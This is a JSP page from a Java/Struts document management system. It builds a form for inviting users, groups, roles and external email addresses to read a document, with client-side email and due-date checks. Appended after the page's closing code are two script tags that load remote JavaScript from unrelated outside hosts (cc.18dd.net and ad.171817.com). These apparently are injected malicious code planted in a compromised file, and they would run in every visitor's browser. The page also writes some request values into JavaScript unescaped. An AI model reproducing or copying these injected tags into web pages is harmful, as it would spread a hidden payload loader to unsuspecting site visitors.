<%@ page contentType="text/html;charset=UTF-8" %>
<%@ taglib uri="/tags/struts-bean" prefix="bean" %>
<%@ taglib uri="/tags/struts-html" prefix="html" %>
<%@ taglib uri="/tags/struts-logic" prefix="logic" %>
<%@ taglib uri="/tags/dms" prefix="dms" %>
<%@ page import="java.util.*" %>
<%@ page import="java.sql.*" %>
<%@ page import="java.text.NumberFormat"%>
<%@ page import="com.dcivision.dms.*" %>
<%@ page import="com.dcivision.dms.web.*" %>
<%@ page import="com.dcivision.dms.bean.*" %>
<%@ page import="com.dcivision.dms.core.*" %>
<%@ page import="com.dcivision.dms.dao.*"%>
<%@ page import="com.dcivision.framework.*" %>
<%@ page import="com.dcivision.framework.bean.*" %>
<%@ page import="com.dcivision.framework.web.*" %>
<%@ page import="com.dcivision.alert.bean.*"%>
<%@ page import="org.apache.commons.logging.LogFactory"%>
<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/>
<jsp:useBean id="maintDmsInvitationForm" scope="request" class="com.dcivision.dms.web.MaintDmsInvitationForm"/>

 <%
   String[][] notifyWayList = { {"dms.label.notification_email_and_system",UpdateAlert.EMAIL_NOTIFICATION + UpdateAlert.SEPARATOR + UpdateAlert.SYSTEM_NOTIFICATION},
                                {"dms.label.notification_system_only",UpdateAlert.SYSTEM_NOTIFICATION}
                              };

   Connection conn = null;
   DmsDocument dmsDocument = new DmsDocument();
   DmsDocument documentRoot = new DmsDocument();
   String permission = "";
   PermissionManager permissionManager = null;
   DmsDocumentDAObject dmsDocumentDAO = null;
   DocumentRetrievalManager docRetrievalManager = null;
   String actionType = (String)request.getAttribute("actionType");
   StringBuffer subject = new StringBuffer();
   String dbDateTimeFormat = SystemParameterFactory.getSystemParameter(SystemParameterConstant.DB_DATETIME_FORMAT);
%>
<%try{%>
<%
   conn = (Connection)request.getAttribute(GlobalConstant.DB_KEY);
   //conn = DataSourceFactory.getConnection();
   //request.setAttribute(GlobalConstant.DB_KEY,conn);
   permissionManager = sessionContainer.getPermissionManager();
   dmsDocumentDAO = new DmsDocumentDAObject(sessionContainer, conn);
   docRetrievalManager = new DocumentRetrievalManager(sessionContainer,conn);
   String docID = (String)request.getSession().getAttribute("documentID");
   if("S".equals(actionType)){
    permission = (String)permissionManager.getPermission(conn, GlobalConstant.OBJECT_TYPE_DOCUMENT, TextUtility.parseIntegerObj(docID));
    dmsDocument = (DmsDocument)dmsDocumentDAO.getObjectByID(TextUtility.parseIntegerObj(docID));
    String parentID = dmsDocument.getParentID().toString();
    String rootID = dmsDocument.getRootID().toString();
    subject.append("Read Invitation: [ ");
    subject.append(dmsDocument.getDocumentName());
    subject.append("]");
    documentRoot = (DmsDocument)docRetrievalManager.getRootFolderByRootID(dmsDocument.getRootID());
   }

 	String defaultExternalEmailMessage = MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "dms.label.external_invitee(s).default_content");
 	
	String isReload = Utility.isEmpty(request.getParameter("isReload"))? (String)request.getAttribute("isReload") : (String)request.getParameter("isReload");
  %>

<!-- Static Javascript End -->
<script src="<%= request.getContextPath() %>/js/scriptaculous/lib/prototype.js" type="text/javascript"></script>
<script src="<%= request.getContextPath() %>/js/scriptaculous/src/effects.js" type="text/javascript"></script>
<script src="<%= request.getContextPath() %>/js/scriptaculous/src/controls.js" type="text/javascript"></script>
<script src='<%= request.getContextPath() %>/dwr/interface/InviteePickerDWRFacade.js' type='text/javascript'></script>
<script src='<%= request.getContextPath() %>/dwr/engine.js' type='text/javascript'></script>
<script src="<%= request.getContextPath() %>/js/inviteePicker.js" type="text/javascript"></script>
<script src="<%= request.getContextPath() %>/js/OldTree.jsp" language="Javascript" charset="UTF-8" type="text/javascript"></script>
 <script>
 <!--
  var docID = "<%=docID%>";
  function CancelInvitationShow(){
    try{
      parent.frameRemoteDlg.hide();
      parent.document.getElementsByTagName("body")[0].scroll="yes";
    }catch(e){}
  }

  function opSave(frm){
    frm.opMode.value="INS";
    frm.navMode.value="<%=actionType%>";
    var email = frm.externalInvitee.value;
    if (email == "<%=defaultExternalEmailMessage%>") {
    	email = "";
    	frm.externalInvitee.value = "";
    }
    
    if(count==0 && email.length==0){
      email = "";
      frm.externalInvitee.value = "";
    }
   if(compareDate(document.maintDmsInvitationForm.currentDate, document.maintDmsInvitationForm.dueDate, true) > 0){
      alert('<bean:message key='dms.label.notification_invalid_due_date'/>');
      return false;
    }
   if(email != null && count!=0 && email != ""){
   		//trim the space character.
   		email = email.replace(/\s/g,"");
   		//replace "," to ";".
      email = email.replace(/,/g, ";");
      //email Regular Expression.
      var pattern = /^\w+[\w-.]*@\w+[\w-.]*/;
      var emailArray = email.split(";");
      for(var i=0; i<emailArray.length; i++){
      	if(emailArray[i] == null || emailArray[i] == "") {
          alert("<bean:message key='errros.dms.invitation.external.invalid'/>");
          return false;
      	}
      	
        var flag = pattern.test(emailArray[i]);
        if(!flag){
          alert("<bean:message key='errros.dms.invitation.external.invalid'/>");
          return false;
        }
      }
      frm.externalInvitee.value = email;
    }
    var user = document.getElementsByName("userList");
    var group = document.getElementsByName("groupList");
    var role = document.getElementsByName("roleList");
    if((email==null || email == "") && user.length<1 && group.length<1 && role.length<1){
      alert("<bean:message key='dms.label.invitee(s).suggestion_content'/>");
      return false;
    }
    var text = "";
    //document.getElementById("conmit").onclick=null;
    document.getElementById("post").innerHTML = text;
    frm.submit();
    //CancelInvitationShow();

  }

  function checkEmail(emailStr) {
   var email_s = emailStr.split(";");
   if (globalIsLotusDomino) {
       return true;
   }
   if (emailStr.length == 0) {
       return true;
   }
   for(var m=0; m<email_s.length; m++){
     var emailPat=/^(.+)@(.+)$/;
     var specialChars="\\(\\)<>@,;:\\\\\\\"\\.\\[\\]";
     var validChars="\[^\\s" + specialChars + "\]";
     var quotedUser="(\"[^\"]*\")";
     var ipDomainPat=/^(\d{1,3})[.](\d{1,3})[.](\d{1,3})[.](\d{1,3})$/;
     var atom=validChars + '+';
     var word="(" + atom + "|" + quotedUser + ")";
     var userPat=new RegExp("^" + word + "(\\." + word + ")*$");
     var domainPat=new RegExp("^" + atom + "(\\." + atom + ")*$");
     var matchArray=email_s[m].match(emailPat);
     if (matchArray == null) {
         return false;
     }
     var user=matchArray[1];
     var domain=matchArray[2];
     if (user.match(userPat) == null) {
         return false;
     }
     var IPArray = domain.match(ipDomainPat);
     if (IPArray != null) {
         for (var i = 1; i <= 4; i++) {
            if (IPArray[i] > 255) {
               return false;
            }
         }
         return true;
     }
     var domainArray=domain.match(domainPat);
     if (domainArray == null) {
         return false;
     }
     var atomPat=new RegExp(atom,"g");
     var domArr=domain.match(atomPat);
     var len=domArr.length;
     if ((domArr[domArr.length-1].length < 2) ||
         (domArr[domArr.length-1].length > 3)) {
         return false;
     }
     if (len < 2) {
         return false;
     }
   }

   return true;
}

  function showDocumentHistory(frm){
    frm.opMode.value="LIST_HISTORY";
    frm.submit();
  }

  function checkWindowForAction(url) {
    parent.location.href = url;
  }

  var count = 0;
  function externalEmail(){
    var content = document.getElementById("xxxx");
    count++;
  }

  function missFocus(obj){
    obj.value = "";
  }
  
  function externalEmailOnBlur() {
  	var externalEmailTextarea = FindObj("externalInvitee");
  	if (externalEmailTextarea.value == "") {
  		externalEmailTextarea.value = "<%=defaultExternalEmailMessage%>";
  		externalEmailTextarea.style.color = "#bbbbbb";
  	}
  }
  
  function externalEmailOnFocus() {
  	var externalEmailTextarea = FindObj("externalInvitee");
  	if (externalEmailTextarea.value == "<%=defaultExternalEmailMessage%>") {
  		externalEmailTextarea.value = "";
  		externalEmailTextarea.style.color = "#000000";
  	}
  }
  
   -->
 </script>
<html:form action="dms/MaintDmsInvitationAction" method="POST" styleClass="form-style-2">
<html:hidden property="opMode"/>
<html:hidden property="navMode"/>
<html:hidden property="docID"/>
<input type='hidden' name='isReload' value='<%=isReload%>' />
<input type='hidden' name='currentDate' value='<%=TextUtility.formatDate(new java.util.Date(),dbDateTimeFormat)%>'>
<%if("S".equals(maintDmsInvitationForm.getNavMode())){%>
  <input type="hidden" name="actionType" value="S" />
<%}else{%>
  <input type="hidden" name="actionType" value="M" />
<%}%>
<html:javascript formName="maintDmsInvitationForm" method="ValidateForm" dynamicJavascript="true" staticJavascript="false"/>

<div class="popupInviteePanelTitle">
	<bean:message key="dms.label.new_invitation"/>
</div>

<div class="popupInviteeWrapperContainer">
<table width="100%" cellpadding="0" cellspacing="0">
<%
	if ("S".equals(actionType)) {
%>
	<tr>
		<td class="formLabelSmall"><bean:message key='dms.label.document'/>:</td>
		<td class="formFieldSmall">
			<div class="div-2-a">
				<dms:locationPath parentID="<%=((DmsDocument)dmsDocument).getParentID()%>" rootID="<%=((DmsDocument)dmsDocument).getRootID()%>" permission='<%=permission%>' rootDocument='<%=documentRoot%>' indexFlag='false'/>\
				<dms:documentInfo docObject='<%=(DmsDocument)dmsDocument%>' permission='R' rootDocument='<%=documentRoot%>' isOverLib='true'/>
			</div>
			<div class="div-2-b">
				<html:standardButton label="dms.label.show_invitation_history" onClick="showDocumentHistory(maintDmsInvitationForm);return false;"/>
			</div>
		</td>
	</tr>
<%
	} else {
%>
	<tr>
		<td class="formLabelSmall"><bean:message key='dms.label.document'/>:</td>
		<td class="formFieldSmall">
<%
		String ids = (String)request.getSession().getAttribute("docIDArray"); 
		String[] docIDs = TextUtility.splitString(ids, ",");
		for(int i=0; i<docIDs.length; i++){
			String id = docIDs[i];
			permission = (String)permissionManager.getPermission(conn, GlobalConstant.OBJECT_TYPE_DOCUMENT, TextUtility.parseIntegerObj(id));
			dmsDocument = (DmsDocument)dmsDocumentDAO.getObjectByID(TextUtility.parseIntegerObj(id));
			String parentID = dmsDocument.getParentID().toString();
			String rootID = dmsDocument.getRootID().toString();
			documentRoot = (DmsDocument)docRetrievalManager.getRootFolderByRootID(dmsDocument.getRootID());
%>
         <dms:locationPath parentID="<%=((DmsDocument)dmsDocument).getParentID()%>" rootID="<%=((DmsDocument)dmsDocument).getRootID()%>" permission='<%=permission%>' rootDocument='<%=documentRoot%>' indexFlag='showIndexFlag'/>\
         <dms:documentInfo docObject='<%=(DmsDocument)dmsDocument%>' permission='R' rootDocument='<%=documentRoot%>' pageFlag='' isOverLib='true'/>
<%
         
		}
%>
		</td>
	</tr>
<%
	}
%>
	<tr>
		<td colspan="2"><div class="sectionLine">　</div></td>
	</tr>
	<tr>
		<td class="formLabelSmall"><bean:message key='dms.label.invitees'/>:</td>
		<td class="formFieldSmall">
			<!--invitee picker  -->
			<html:inviteePicker name="inviteeShare" propertyUser="userList" propertyGroup="groupList" propertyRole="roleList" valueUser='<%=maintDmsInvitationForm.getUserList()%>' valueGroup='<%=maintDmsInvitationForm.getGroupList()%>' valueRole='<%=maintDmsInvitationForm.getRoleList()%>' suggestWidth='300' textWidth='100' width="500" height="70" onBlur="missFocus(this)"  />
			<!--invitee picker  -->
		</td>
	</tr>
	<tr>
		<td class="formLabelSmall"><bean:message key='dms.label.external_invitee(s)'/>:</td>
		<td class="formFieldSmall">
			<div id="xxxx" onclick="return externalEmail()"><html:textarea rows='3' property='externalInvitee' styleClass="form-style-2-big-textarea-external-email" onblur="externalEmailOnBlur();" onfocus="externalEmailOnFocus();" value="<%=defaultExternalEmailMessage%>" textlimit="2000"></html:textarea></div>
		</td>
	</tr>
	<tr>
		<td class="formLabelSmall"></td>
		<td class="formFieldSmall">
			<bean:message key='dms.label.invitee(s).suggestion_content'/>
		</td>
	</tr>
	<tr><td colspan="2" height="14"></td></tr>
	<tr>
		<td class="formLabelSmall"><bean:message key='dms.label.invitee.due_date'/>:</td>
		<td class="formFieldSmall">
			<html:datepicker property='dueDate' needReload = 'false' verticalOffset='-220' styleClass="form-style-2-textfield-day"/>
		</td>
	</tr>
	<tr>
		<td class="formLabelSmall"><bean:message key='dms.label.invitee.subject'/>:</td>
		<td class="formFieldSmall">
			<html:text property='subject' value="<%=subject.toString()%>" size='94' styleClass="form-style-2-long-textfield" maxlength="200"/>
		</td>
	</tr>
	<tr>
		<td class="formLabelSmall"><bean:message key='dms.label.invitee.message'/>:</td>
		<td class="formFieldSmall">
			<html:textarea rows='8' property='message' cols='72' styleClass="form-style-2-big-textarea" textlimit="2000"/>
		</td>
	</tr>
  <tr>
    <td class="formLabelSmall"><bean:message key='dms.label.invitee.notify_way'/>:</td>
    <td class="formFieldSmall">
      <html:select property='notifyWay' >
        <html:options stringArray='<%=notifyWayList%>' hasSelect='false' />
      </html:select>
    </td>
  </tr>
</table>
</div>

<div id="popupPanelBottom">
<div id="buttonSection">
	<div id="post">
    <html:standardButton label="dms.label.send_invitation" onClick="opSave(maintDmsInvitationForm);return false;"/>
    <html:standardButton label="dms.label.invite.cancel" onClick="CancelInvitationShow();return false;"/>
    </div>
</div>
</div>
</html:form>
<%}catch(Exception e){LogFactory.getLog(this.getClass()).error(e, e);}finally{

  if(conn!=null){
    conn.close();
  }

 }%>
<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>